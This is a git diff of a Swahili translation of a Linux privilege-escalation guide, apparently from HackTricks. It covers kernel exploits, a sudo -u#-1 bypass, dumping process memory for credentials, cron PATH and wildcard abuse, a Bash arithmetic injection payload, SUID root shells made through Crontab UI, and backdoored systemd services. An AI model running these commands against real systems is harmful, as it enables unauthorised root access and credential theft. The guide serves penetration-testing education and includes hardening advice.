kuvutia, passwords au API keys ndani ya environment variables? ```bash (env || set) 2>/dev/null ``` ### Kernel exploits -Angalia toleo la kernel na kama kuna exploit yoyote ambayo inaweza kutumika ku-escalate privileges +Kagua toleo la kernel na kama kuna exploit inayoweza kutumika ku-escalate privileges. ```bash cat /proc/version uname -a searchsploit "Linux Kernel" ``` -Unaweza kupata orodha nzuri ya kernel zilizo dhaifu na baadhi ya **compiled exploits** tayari hapa: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) na [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ +Unaweza kupata orodha nzuri ya kernel zilizo na udhaifu na baadhi ya **compiled exploits** hapa: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) na [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ Tovuti nyingine ambapo unaweza kupata baadhi ya **compiled exploits**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) -Ili kutoa matoleo yote ya kernel yaliyo dhaifu kutoka kwenye tovuti hiyo unaweza kufanya: +Ili kutoa toleo zote za kernel zilizo na udhaifu kutoka kwenye tovuti hiyo unaweza kufanya: ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` -Zana zinazoweza kusaidia kutafuta kernel exploits ni: +Vifaa vinavyoweza kusaidia kutafuta kernel exploits ni: [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ -[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (execute IN victim,only checks exploits for kernel 2.x) +[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (tekeleza kwenye victim, inachunguza tu exploits kwa kernel 2.x) -Daima **tafuta kernel version kwenye Google**, pengine kernel version yako imeandikwa katika kernel exploit fulani na utakuwa na uhakika kwamba exploit hiyo ni halali. +Daima **tafuta toleo la kernel kwenye Google**, labda toleo lako la kernel limeandikwa katika exploit fulani ya kernel na kwa hivyo utakuwa na uhakika kwamba exploit hii ni halali. ### CVE-2016-5195 (DirtyCow) @@ -57,13 +57,13 @@ g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ``` -### Toleo la Sudo +### Sudo toleo -Kulingana na matoleo ya sudo yenye udhaifu yanayoonekana katika: +Kulingana na matoleo dhaifu ya sudo yanayoonekana katika: ```bash searchsploit sudo ``` -Unaweza kuangalia ikiwa toleo la sudo lina udhaifu kwa kutumia grep hii. +Unaweza kukagua ikiwa toleo la sudo lina udhaifu kwa kutumia grep hii. ```bash sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]" ``` @@ -73,13 +73,13 @@ Kutoka kwa @sickrov ``` sudo -u#-1 /bin/bash ``` -### Dmesg: ukaguzi wa saini ulishindwa +### Dmesg signature verification failed -Angalia **smasher2 box of HTB** kwa **mfano** jinsi vuln hii ingeweza kutumiwa. +Angalia **smasher2 box of HTB** kwa **mfano** wa jinsi vuln hii ingeweza kutumika ```bash dmesg 2>/dev/null | grep "signature" ``` -### Zaidi ya system enumeration +### Ukaguzi zaidi wa mfumo ```bash date 2>/dev/null #Date (df -h || lsblk) #System stats @@ -131,7 +131,7 @@ docker-security/ ## Diski -Angalia **what is mounted and unmounted**, wapi na kwa nini. Ikiwa kitu chochote kimekuwa unmounted, unaweza kujaribu kukimount na kuangalia taarifa za kibinafsi +Angalia **what is mounted and unmounted**, wapi na kwa nini. Ikiwa kitu chochote kime unmounted unaweza kujaribu ku-mount na kukagua kwa taarifa za kibinafsi ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null @@ -144,56 +144,56 @@ Orodhesha binaries muhimu ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` -Pia, angalia kama **any compiler is installed**. Hii ni muhimu ikiwa unahitaji kutumia kernel exploit, kwani inapendekezwa ku-compile katika mashine utakayoitumia (au katika ile inayofanana). +Pia, angalia ikiwa **compiler yoyote imewekwa**. Hii ni muhimu ikiwa utahitaji kutumia kernel exploit, kwani inashauriwa kucompile kwenye mashine utakayotumia (au kwenye ile inayofanana). ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` -### Programu Zenye Udhaifu Zilizowekwa +### Programu Zenye udhaifu zilizowekwa -Chunguza **toleo la vifurushi na huduma zilizowekwa**. Labda kuna toleo la zamani la Nagios (kwa mfano) ambalo linaweza kutumika kuinua ruhusa…\ -Inashauriwa kukagua kwa mkono toleo la programu zinazo shukiwa zaidi zilizowekwa. +Angalia **toleo la vifurushi na huduma zilizowekwa**. Huenda kuna toleo la zamani la Nagios (kwa mfano) ambalo linaweza kutumika kwa ajili ya escalating privileges…\ +Inashauriwa kukagua kwa mkono toleo la programu zilizowekwa zinazoshukiwa zaidi. ```bash dpkg -l #Debian rpm -qa #Centos ``` -Ikiwa una ufikiaji wa SSH kwa mashine unaweza pia kutumia **openVAS** kuangalia programu zisizosasishwa na zilizo hatarini zilizosakinishwa kwenye mashine. +Ikiwa una ufikiaji wa SSH kwenye mashine, unaweza pia kutumia **openVAS** kuangalia ikiwa programu zilizowekwa ni za zamani au zina udhaifu. -> [!NOTE] > _Kumbuka kwamba amri hizi zitaonyesha taarifa nyingi ambazo kwa kawaida hazitakuwa na faida; kwa hiyo inashauriwa kutumia programu kama OpenVAS au nyingine zilizo sawa ambazo zitakagua ikiwa toleo lolote la programu lililosakinishwa linaloweza kuathiriwa na exploits zilizojulikana_ +> [!NOTE] > _Kumbuka kwamba amri hizi zitaonyesha taarifa nyingi ambazo kwa kawaida hazitakuwa na umuhimu, kwa hivyo inashauriwa kutumia programu kama OpenVAS au zinazofanana ambazo zitachek ikiwa toleo lolote la programu zilizowekwa lina udhaifu dhidi ya exploits zinazojulikana_ ## Michakato -Tazama **ni michakato gani** inaendeshwa na angalia kama mchakato wowote una **idhinisho zaidi kuliko inavyostahili** (labda tomcat inaendeshwa na root?) +Angalia **michakato gani** inaendeshwa na ukague ikiwa mchakato wowote una **uruhusa zaidi kuliko inavyopaswa** (labda tomcat ikitekelezwa na root?) ```bash ps aux ps -ef top -n 1 ``` -Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** detect those by checking the `--inspect` parameter inside the command line of the process.\ -Pia **angalia ruhusa zako juu ya binaries za mchakato**, labda unaweza ku-overwrite faili ya mtu mwingine. +Kila wakati angalia uwezekano wa [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** hutambua hayo kwa kuangalia parameter `--inspect` ndani ya mstari wa amri wa mchakato.\ +Pia **angalia vibali vyako juu ya binaries za mchakato**, labda unaweza kuzibadilisha. ### Ufuatiliaji wa mchakato -Unaweza kutumia zana kama [**pspy**](https://github.com/DominicBreuker/pspy) kufuatilia michakato. Hii inaweza kuwa muhimu sana kutambua michakato iliyo dhaifu inayotekelezwa mara kwa mara au wakati vigezo fulani vinapotimizwa. +Unaweza kutumia zana kama [**pspy**](https://github.com/DominicBreuker/pspy) kufuatilia mchakato. Hii inaweza kuwa muhimu sana kutambua mchakato dhaifu yanayoendeshwa mara kwa mara au wakati seti ya mahitaji yanatimizwa. ### Kumbukumbu ya mchakato -Baadhi ya huduma za server huhifadhi **credentials kwa maandishi wazi ndani ya kumbukumbu**.\ -Kawaida utahitaji **root privileges** kusoma kumbukumbu za michakato zinazomilikiwa na watumiaji wengine, kwa hivyo hii kwa kawaida inakuwa muhimu zaidi wakati tayari uko root na unataka kugundua credentials zaidi.\ -Hata hivyo, kumbuka kwamba **kama mtumiaji wa kawaida unaweza kusoma kumbukumbu za michakato unazomiliki**. +Huduma kadhaa za server huhifadhi **credentials kwa maandishi wazi ndani ya memory**.\ +Kwa kawaida utahitaji **root privileges** kusoma memory ya michakato inayomilikiwa na watumiaji wengine, kwa hiyo hii kwa kawaida ni ya zaidi matumizi wakati tayari uko root na unataka kugundua credentials zaidi.\ +Hata hivyo, kumbuka kwamba **kama mtumiaji wa kawaida unaweza kusoma memory ya michakato unayomiliki**. > [!WARNING] -> Kumbuka kwamba siku hizi mashine nyingi **haziruhusu ptrace kwa default** ambacho kinamaanisha huwezi kufanya dump ya michakato mingine inayomilikiwa na mtumiaji wako asiye na ruhusa za juu. +> Kumbuka kwamba sasa mashine nyingi **haziruhusu ptrace kwa default** ambayo inamaanisha huwezi ku-dump mchakato mwingine inayomilikiwa na mtumiaji asiye na vibali. > > The file _**/proc/sys/kernel/yama/ptrace_scope**_ controls the accessibility of ptrace: > -> - **kernel.yama.ptrace_scope = 0**: michakato yote inaweza kudebugged, mradi tu zinauid sawa. Huu ni utaratibu wa jadi wa jinsi ptracing ilivyofanya kazi. -> - **kernel.yama.ptrace_scope = 1**: mchakato mzazi pekee unaweza kudebugged. -> - **kernel.yama.ptrace_scope = 2**: Msimamizi (admin) peke yake anaweza kutumia ptrace, kwani inahitaji uwezo wa CAP_SYS_PTRACE. -> - **kernel.yama.ptrace_scope = 3**: Hakuna michakato inayoweza kufuatiliwa kwa ptrace. Mara imewekwa, reboot inahitajika ili kuwezesha ptracing tena. +> - **kernel.yama.ptrace_scope = 0**: all processes can be debugged, as long as they have the same uid. This is the classical way of how ptracing worked. +> - **kernel.yama.ptrace_scope = 1**: only a parent process can be debugged. +> - **kernel.yama.ptrace_scope = 2**: Only admin can use ptrace, as it required CAP_SYS_PTRACE capability. +> - **kernel.yama.ptrace_scope = 3**: No processes may be traced with ptrace. Once set, a reboot is needed to enable ptracing again. #### GDB -Ikiwa una ufikiaji wa kumbukumbu za huduma ya FTP (kwa mfano) unaweza kupata Heap na kutafuta ndani yake credentials. +If you have access to the memory of an FTP service (for example) you could get the Heap and search inside of its credentials. ```bash gdb -p (gdb) info proc mappings @@ -202,7 +202,7 @@ gdb -p (gdb) q strings /tmp/mem_ftp #User and password ``` -#### GDB Skripti +#### GDB Script ```bash:dump-memory.sh #!/bin/bash #./dump-memory.sh @@ -215,7 +215,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -Kwa kitambulisho kilichotolewa cha mchakato (PID), **maps yanaonyesha jinsi kumbukumbu (memory) imepangwa ndani ya virtual address space ya mchakato huo**; pia yanaonyesha **permissions za kila eneo lililowekwa**. Faili pseudo ya **mem** **inaonyesha kumbukumbu ya mchakato yenyewe**. Kutoka kwa faili ya **maps** tunajua ni **eneo gani za kumbukumbu zinazoweza kusomwa** na ofseti zao. Tunatumia taarifa hizi ku-**seek** ndani ya faili ya **mem** na **dump** maeneo yote yanayosomwa kwenye faili. +Kwa ID ya mchakato fulani, **maps inaonyesha jinsi memory inavyopangwa ndani ya nafasi ya anwani za virtual za mchakato huo**; pia inaonyesha **idhinishaji za kila eneo lililopangwa**. Faili bandia **mem** **inafunua memory ya mchakato yenyewe**. Kutoka kwenye faili ya **maps** tunajua ni **maeneo gani ya memory yanayosomika** na offsets zao. Tunatumia taarifa hizi ili **kutafuta (seek) ndani ya faili ya mem na ku-dump maeneo yote yanayosomika** kwenye faili. ```bash procdump() ( @@ -230,14 +230,14 @@ rm $1*.bin ``` #### /dev/mem -`/dev/mem` hutoa ufikiaji kwa kumbukumbu ya mfumo ya **kimwili**, si kumbukumbu ya virtual. Eneo la anwani la kernel la virtual linaweza kufikiwa kwa kutumia /dev/kmem.\ -Kawaida, `/dev/mem` inaweza kusomwa tu na **root** na kikundi cha **kmem**. +`/dev/mem` hutoa ufikiaji wa **kumbukumbu ya kimwili** za mfumo, sio kumbukumbu za virtual. Nafasi ya anwani ya virtual ya kernel inaweza kufikiwa kwa kutumia /dev/kmem.\ +Kwa kawaida, `/dev/mem` inaweza kusomwa tu na **root** na kikundi cha kmem. ``` strings /dev/mem -n10 | grep -i PASS ``` -### ProcDump for linux +### ProcDump kwa linux -ProcDump ni toleo la Linux lililofikiriwa upya la zana ya klasiki ProcDump kutoka kwenye suite ya zana za Sysinternals kwa Windows. Pata katika [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) +ProcDump ni toleo jipya la Linux la zana ya ProcDump ya kitambo kutoka kwenye mkusanyiko wa zana za Sysinternals kwa Windows. Pata kwenye [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) ``` procdump -p 1714 @@ -264,42 +264,42 @@ Press Ctrl-C to end monitoring without terminating the process. [20:20:58 - INFO]: Timed: [20:21:00 - INFO]: Core dump 0 generated: ./sleep_time_2021-11-03_20:20:58.1714 ``` -### Zana +### Vifaa -Ili dump process memory unaweza kutumia: +Ili kuchoma kumbukumbu ya mchakato unaweza kutumia: - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) -- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Unaweza kwa mkono kuondoa mahitaji ya root na dump process inayomilikiwa na wewe +- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Unaweza kuondoa mahitaji ya root kwa mkono na kuchoma mchakato unaomilikiwa na wewe - Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root inahitajika) -### Nyaraka za kuingia kutoka kwenye Process Memory +### Taarifa za kuingia kutoka kumbukumbu za mchakato #### Mfano kwa mkono -Ikiwa utagundua kuwa authenticator process inaendeshwa: +Ikiwa utagundua kuwa mchakato wa authenticator unaendesha: ```bash ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` -Unaweza kupiga dump mchakato (angalia sehemu za awali ili kupata njia tofauti za kupiga dump kumbukumbu za mchakato) na kutafuta nyaraka za kuingia ndani ya kumbukumbu: +Unaweza dump the process (angalia sehemu zilizotangulia ili kupata njia tofauti za dump the memory of a process) na kutafuta credentials ndani ya memory: ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password ``` #### mimipenguin -Zana [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) itapora **nywila za maandishi wazi kutoka kwenye kumbukumbu** na kutoka kwa baadhi ya **faili zinazojulikana**. Inahitaji ruhusa za root ili ifanye kazi ipasavyo. +Chombo [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) kitafanya **steal clear text credentials from memory** na kutoka kwa baadhi ya **well known files**. Kinahitaji root privileges ili kifanye kazi ipasavyo. -| Sifa | Jina la Mchakato | -| ------------------------------------------------- | -------------------- | -| Nenosiri la GDM (Kali Desktop, Debian Desktop) | gdm-password | -| Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | -| LightDM (Ubuntu Desktop) | lightdm | -| VSFTPd (Muunganisho hai za FTP) | vsftpd | -| Apache2 (Vikao vya HTTP Basic Auth vinavyofanya kazi) | apache2 | -| OpenSSH (Vikao hai za SSH - Matumizi ya sudo) | sshd: | +| Kipengele | Jina la Mchakato | +| ------------------------------------------------- | --------------------- | +| GDM password (Kali Desktop, Debian Desktop) | gdm-password | +| Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | +| LightDM (Ubuntu Desktop) | lightdm | +| VSFTPd (Active FTP Connections) | vsftpd | +| Apache2 (Active HTTP Basic Auth Sessions) | apache2 | +| OpenSSH (Active SSH Sessions - Sudo Usage) | sshd: | -#### Regex za Utafutaji/[truffleproc](https://github.com/controlplaneio/truffleproc) +#### Regexes za Utafutaji/[truffleproc](https://github.com/controlplaneio/truffleproc) ```bash # un truffleproc.sh against your current Bash shell (e.g. $$) ./truffleproc.sh $$ @@ -313,66 +313,67 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... # finding secrets # results in /tmp/tmp.o6HV0Pl3fe/results.txt ``` -## Iliyopangwa/Cron jobs +## Majukumu yaliyopangwa / Cron jobs -### Crontab UI (alseambusher) running as root – web-based scheduler privesc +### Crontab UI (alseambusher) inayokimbia kama root – web-based scheduler privesc -Ikiwa paneli ya wavuti “Crontab UI” (alseambusher/crontab-ui) inayoendesha kama root na imefungwa kwa loopback pekee, bado unaweza kuifikia kupitia SSH local port-forwarding na kuunda privileged job ili kupandisha hadhi. +Ikiwa paneli ya wavuti "Crontab UI" (alseambusher/crontab-ui) inakimbia kama root na imefungwa tu kwenye loopback, bado unaweza kuifikia kupitia SSH local port-forwarding na kuunda privileged job ili escalate. -Typical chain -- Gundua porti iliyo kwenye loopback pekee (e.g., 127.0.0.1:8000) na Basic-Auth realm kupitia `ss -ntlp` / `curl -v localhost:8000` -- Pata credentials katika operational artifacts: -- Backups/scripts na `zip -P ` -- systemd unit inayofichua `Environment="BASIC_AUTH_USER=..."`, `Environment="BASIC_AUTH_PWD=..."` -- Fungua tunnel na ingia: +Mnyororo wa kawaida +- Gundua porti inayofunguka tu kwenye loopback (mfano, 127.0.0.1:8000) na Basic-Auth realm kwa kutumia `ss -ntlp` / `curl -v localhost:8000` +- Tafuta credentials katika artifacts za uendeshaji: + - Backups/scripts zenye `zip -P ` + - systemd unit inayoonyesha `Environment="BASIC_AUTH_USER=..."`, `Environment="BASIC_AUTH_PWD=..."` +- Tunneli na login: ```bash ssh -L 9001:localhost:8000 user@target # browse http://localhost:9001 and authenticate ``` -- Tengeneza job yenye ruhusa za juu na iendeshe mara moja (inatoa SUID shell): +- Tengeneza kazi yenye ruhusa za juu na iendeshe mara moja (inatoa SUID shell): ```bash # Name: escalate # Command: cp /bin/bash /tmp/rootshell && chmod 6777 /tmp/rootshell ``` -- Tumia: +- Tumia hiyo: ```bash /tmp/rootshell -p # root shell ``` -Kuimarisha -- Usiruhusu Crontab UI iendeshe kama root; itenge kwa mtumiaji maalum na ruhusa ndogo -- Unganisha kwa localhost na kwa ziada zuia upatikanaji kwa firewall/VPN; usitumie tena nywila -- Epuka kuweka secrets ndani ya unit files; tumia secret stores au EnvironmentFile inayotumika kwa root pekee -- Wezesha audit/logging kwa utekelezaji wa kazi za on-demand +Kuimarisha usalama +- Usiendeshe Crontab UI kama root; izuilie kwa user maalum na permissions za chini +- Bind to localhost na pia zuii upatikanaji kupitia firewall/VPN; usitumie passwords zilizotumika tena +- Epuka kuingiza secrets ndani ya unit files; tumia secret stores au EnvironmentFile ya root pekee +- Washa audit/logging kwa on-demand job executions -Angalia kama kazi yoyote iliyopangwa ina udhaifu. Labda unaweza kuchukua faida ya script inayotekelezwa na root (wildcard vuln? unaweza kubadilisha files ambazo root anazitumia? tumia symlinks? tengeneza faili maalum katika directory ambayo root anaitumia?). +Angalia kama kuna scheduled job yoyote yenye udhaifu. Labda unaweza kuchukua faida ya script inayoendeshwa na root (wildcard vuln? unaweza kubadilisha files ambazo root anazitumia? kutumia symlinks? kuunda specific files katika directory ambayo root anaitumia?). ```bash crontab -l ls -al /etc/cron* /etc/at* cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#" ``` -### PATH ya Cron +### Cron path Kwa mfano, ndani ya _/etc/crontab_ unaweza kupata PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ -(_Kumbuka jinsi mtumiaji "user" ana vibali vya kuandika juu ya /home/user_) +(_Kumbuka jinsi user ana ruhusa za kuandika juu ya /home/user_) Ikiwa ndani ya crontab hii mtumiaji root anajaribu kutekeleza amri au script bila kuweka PATH. Kwa mfano: _\* \* \* \* root overwrite.sh_\ -Basi, unaweza kupata shell ya root kwa kutumia: +Kisha, unaweza kupata shell ya root kwa kutumia: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed /tmp/bash -p #The effective uid and gid to be set to the real uid and gid ``` -### Cron kutumia script yenye wildcard (Wildcard Injection) +### Cron ikitumia script yenye wildcard (Wildcard Injection) -Ikiwa script inayotekelezwa na root ina “**\***” ndani ya amri, unaweza kuitumia kufanya mambo yasiyotegemewa (kama privesc). Mfano: +Kama script inayotekelezwa na root ina “**\***” ndani ya amri, unaweza kuitumia kupata matokeo yasiyotarajiwa (kama privesc). Mfano: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` -**Ikiwa wildcard imeambatanishwa na njia kama** _**/some/path/\***_ **, haitakuwa hatarini (hata** _**./\***_ **si hatari).** +**Ikiwa wildcard imeongozwa na njia kama** _**/some/path/\***_ **, haiko hatarini (hata** _**./\***_ **sio).** + +Soma ukurasa ufuatao kwa mbinu zaidi za kutumia wildcards: -Soma ukurasa ufuatao kwa mbinu zaidi za kutumia wildcard: {{#ref}} wildcards-spare-tricks.md @@ -381,9 +382,9 @@ wildcards-spare-tricks.md ### Bash arithmetic expansion injection in cron log parsers -Bash hufanya parameter expansion na command substitution kabla ya arithmetic evaluation katika ((...)), $((...)) na let. Ikiwa cron/parser ya root inasoma field za log zisizotegemewa na kuziingiza kwenye arithmetic context, mshambuliaji anaweza kuingiza command substitution $(...) ambayo itaendeshwa kama root wakati cron inafanya kazi. +Bash performs parameter expansion and command substitution before arithmetic evaluation in ((...)), $((...)) and let. If a root cron/parser reads untrusted log fields and feeds them into an arithmetic context, an attacker can inject a command substitution $(...) that executes as root when the cron runs. -- Why it works: In Bash, expansions occur in this order: parameter/variable expansion, command substitution, arithmetic expansion, then word splitting and pathname expansion. So a value like `$(/bin/bash -c 'id > /tmp/pwn')0` is first substituted (running the command), then the remaining numeric `0` is used for the arithmetic so the script continues without errors. +- Kwanini inafanya kazi: Katika Bash, expansions hufanyika kwa mpangilio huu: parameter/variable expansion, command substitution, arithmetic expansion, kisha word splitting na pathname expansion. Kwa hivyo thamani kama `$(/bin/bash -c 'id > /tmp/pwn')0` kwanza inayobadilishwa (kiafanye amri), kisha nambari iliyobaki `0` inatumiwa kwa arithmetic ili script iendelee bila makosa. - Typical vulnerable pattern: ```bash @@ -395,7 +396,7 @@ while IFS=',' read -r ts user count rest; do done < /var/www/app/log/application.log ``` -- Exploitation: Weka maandishi yanayodhibitiwa na mshambuliaji katika log inayochunguzwa, ili field inayofanana na namba iwe na command substitution na mwisho wake uwe tarakimu. Hakikisha amri yako haisidia kuandika chochote kwenye stdout (au uirekebishe/redirect) ili arithmetic iwe halali. +- Utekelezaji: Pata maandishi yanayodhibitiwa na mshambuliaji yandikwe kwenye log iliyochambuliwa ili uwanja unaoonekana kuwa nambari uwe na command substitution na uishie na tarakimu. Hakikisha amri yako haichapishi kwenye stdout (au iielekeze) ili arithmetic ibaki halali. ```bash # Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim): $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 @@ -410,57 +411,56 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` -Iwapo script inayotekelezwa na root inatumia **directory ambapo una upatikanaji kamili**, labda inaweza kuwa ya msaada kufuta folder hiyo na **kuunda symlink folder kuelekea nyingine** inayohudumia script inayodhibitiwa na wewe +Ikiwa script inayotekelezwa na root inatumia **directory ambapo una ufikiaji kamili**, inaweza kuwa ya msaada kufuta folda hiyo na **kuunda folda ya symlink kuelekea nyingine** inayohudumia script unayodhibiti ```bash ln -d -s ``` ### Cron jobs za mara kwa mara -Unaweza kufuatilia michakato kutafuta zile zinazotekelezwa kila dakika 1, 2 au 5. Huenda ukaweza kuchukua fursa yake na escalate privileges. +Unaweza kufuatilia michakato ili kutafuta zile zinazotekelezwa kila dakika 1, 2 au 5. Labda unaweza kuchukua fursa yake na escalate privileges. -Kwa mfano, ili **kufuatilia kila 0.1s kwa muda wa dakika 1**, **kupanga kwa amri zenye utekelezaji mdogo** na kufuta amri zilizotekelezwa zaidi, unaweza kufanya: +Kwa mfano, ili **kuangalia kila 0.1s kwa muda wa dakika 1**, **panga kwa amri zilizotekelezwa kwa idadi ndogo** na futa amri zilizoendeshwa zaidi, unaweza kufanya: ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` -**Unaweza pia kutumia** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (hii itafuatilia na kuorodhesha kila mchakato unaoanza). +**Unaweza pia kutumia** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (hii itafuatilia na kuorodhesha kila process inayoanza). ### Cron jobs zisizoonekana -Inawezekana kuunda cronjob kwa **kuweka carriage return baada ya comment** (bila newline character), na cronjob itaenda kazi. Mfano (zingatia carriage return char): +Inawezekana kuunda cronjob **kwa kuweka carriage return baada ya comment** (bila newline character), na cronjob itafanya kazi. Mfano (zingatia carriage return char): ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` ## Huduma -### Mafaili yanayoweza kuandikwa _.service_ +### Fayili za _.service_ zinazoweza kuandikwa -Angalia kama unaweza kuandika faili yoyote ya `.service`; ikiwa unaweza, unaweza **kuibadilisha** ili i **itekeleze** backdoor yako wakati huduma inapo **anzishwa**, **izinduliwa upya** au **isimamishwe** (labda utahitaji kusubiri hadi mashine ianze upya).\ - -Kwa mfano, tengeneza backdoor yako ndani ya faili ya .service kwa **`ExecStart=/tmp/script.sh`** +Angalia kama unaweza kuandika faili yoyote ya `.service`, ikiwa unaweza, unaweza **kuibadilisha** ili **itekeleze** **backdoor yako wakati** huduma inapokuwa **anzishwa**, **ianzishwe upya** au **isimamiswe** (labda utahitaji kusubiri mpaka mashine ianzishwe upya).\ +Kwa mfano tengeneza backdoor yako ndani ya faili ya .service kwa **`ExecStart=/tmp/script.sh`** ### Binary za huduma zinazoweza kuandikwa -Kumbuka kwamba ikiwa una **idhini ya kuandika juu ya binaries zinazotekelezwa na huduma**, unaweza kuzibadilisha ili kuweka backdoor; hivyo, huduma zitakaporudi kutekelezwa backdoor zitatumika. +Kumbuka kwamba ikiwa una **idhini ya kuandika kwa binaries zinazotekelezwa na services**, unaweza kuzibadilisha kuwa backdoors, hivyo wakati services zitakapotekelezwa tena backdoors zitatekelezwa. ### systemd PATH - Relative Paths -Unaweza kuona PATH inayotumika na **systemd** kwa: +Unaweza kuona PATH inayotumiwa na **systemd** kwa: ```bash systemctl show-environment ``` -Iwapo utagundua kwamba unaweza **write** katika yoyote ya folda za njia hiyo, huenda ukaweza **escalate privileges**. Unahitaji kutafuta **relative paths being used on service configurations** faili kama: +Ikiwa utagundua kuwa unaweza **kuandika** katika yoyote ya folda za njia, unaweza kuwa na uwezo wa **escalate privileges**. Unahitaji kutafuta **relative paths being used on service configurations** katika faili kama: ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -Kisha, tengeneza **executable** yenye **jina sawa na relative path binary** ndani ya systemd PATH folder ambayo unaweza kuandika, na wakati service itakapoulizwa kutekeleza kitendo dhaifu (**Start**, **Stop**, **Reload**), **backdoor** yako itaendeshwa (watumiaji wasio na ruhusa kawaida hawawezi kuanza/kuacha services lakini angalia kama unaweza kutumia `sudo -l`). +Kisha, tengeneza **executable** yenye **jina lile lile kama binary ya relative path** ndani ya systemd PATH folder ambayo unaweza kuandika, na wakati service itaombwa kutekeleza kitendo kilicho hatarini (**Start**, **Stop**, **Reload**), **backdoor** yako itaendeshwa (watumiaji wasio na ruhusa kawaida hawawezi kuanza/kuzima services lakini angalia kama unaweza kutumia `sudo -l`). **Jifunze zaidi kuhusu services kwa `man systemd.service`.** ## **Timers** -**Timers** ni systemd unit files ambazo majina yao yanamalizika na `**.timer**` ambazo zinadhibiti faili au matukio ya `**.service**`. **Timers** zinaweza kutumika kama mbadala wa cron kwani zina msaada uliojengwa kwa ajili ya matukio ya kalenda na matukio ya monotonic na zinaweza kuendeshwa kwa asynchronous. +**Timers** ni faili za unit za systemd ambazo jina lao linaisha na `**.timer**` na zinadhibiti faili za `**.service**` au matukio. **Timers** zinaweza kutumika kama mbadala kwa cron kwa kuwa zina msaada uliojengwa kwa ajili ya matukio ya kalenda na matukio ya wakati monotonic na zinaweza kuendeshwa kwa asynchronous. Unaweza kuorodhesha timers zote kwa: ```bash @@ -468,24 +468,24 @@ systemctl list-timers --all ``` ### Timers zinazoweza kuandikwa -Ikiwa unaweza kubadilisha timer, unaweza kuifanya itekeleze baadhi ya units zilizopo 